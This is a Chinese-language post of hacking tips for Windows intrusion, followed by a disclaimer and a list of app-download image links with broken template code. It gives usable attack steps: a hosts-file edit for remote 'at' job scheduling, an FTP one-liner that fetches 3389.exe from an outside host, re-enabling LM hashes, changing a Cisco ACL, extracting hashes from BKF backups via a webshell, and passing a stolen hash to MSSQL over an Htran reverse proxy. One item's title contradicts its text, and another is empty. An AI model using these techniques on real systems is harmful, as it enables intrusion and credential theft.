1.AT時提示綁定句柄無效
經常碰到的這個問題，百度搜索的全部都沒一個能解決的。
正確的解決辦法是先在地址欄\\1.1.1.1 得到對方機器名，例如ADMINPC，然後，CMD
echo 1.1.1.1 ADMINPC >>C:\windows\system32\drivers\etc\hosts
然後就可以at了，再也不會提示句柄無效了。
後記：其實也不需要對方的機器名，隨便echo 一個字符代替機器名即可。
2.ftp 一句話download
以前都是一個一個echo，然後ftp-s，很不方便，用下面的辦法吧
echo open 10.0.0.1 > o&echo user 1 1 >> o &echo get 3389.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o
3.針對VISTA以上作業系統禁用NTHASH
高級系統默認都是禁止了LMHASH,在滲透途中是件很不方便的事，按照下圖可以啟動LMHASH，不過需要更改密碼后生效，如果用戶不更改密碼，LMHASH不會儲存，適用于比較敏感的目標，沒事天天改密碼的類型。這辦法適用於無WCE的時代.
捕获.gif(缩略图)
4. 修改cisco access list 避免繁瑣的”佛跳牆”過程
ssh 登陸IP，x.x.x.x
登陸
en IPE_CISCO#show access-list 查看下要配置的list 例如需要訪問的服務器在VLAN103 IPE_CISCO#config IPE_CISCO#terminal IPE_CISCO#access-list 103 permit host 10.1.6.66 //允許這個IP訪問VLAN103所有的伺服器 IPE_CISCO#int vlan 103 IPE_CISCO#ip access-group 103 out IPE_CISCO#exit
5.BKF文件的利用
Webshell 環境下,提權無門,發現一BKF,Copy Downlaod,虛擬機還原,WINPE 替換shift,get hash
然後去試試目標的pass.
6.基於替換系統hash的SQL 入侵
已知目標系統HASH:
administrator:zhu:00000000000000000000000000000000:4A59CF37F6xxxxxx
系統OS：2003，SQLSERVER 2008，目測該hash超過14位。（2003 默認為LMHASH，密碼超過14位則全000000000或者AA3DXXX）
已有webshell，提權無門，則通過Htran 反彈一條sock5代理，本地WCE替換為目標HASH，使用sock5代理連接MSSQL，認證選擇NT。
連上，完成。
7.注意Command.com
版权与免责声明：
凡注明稿件来源的内容均为转载稿或由网友用户注册发布，本网转载出于传递更多信息的目的；如转载稿涉及版权问题，请作者联系我们，同时对于用户评论等信息，本网并不意味着赞同其观点或证实其内容的真实性；
![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)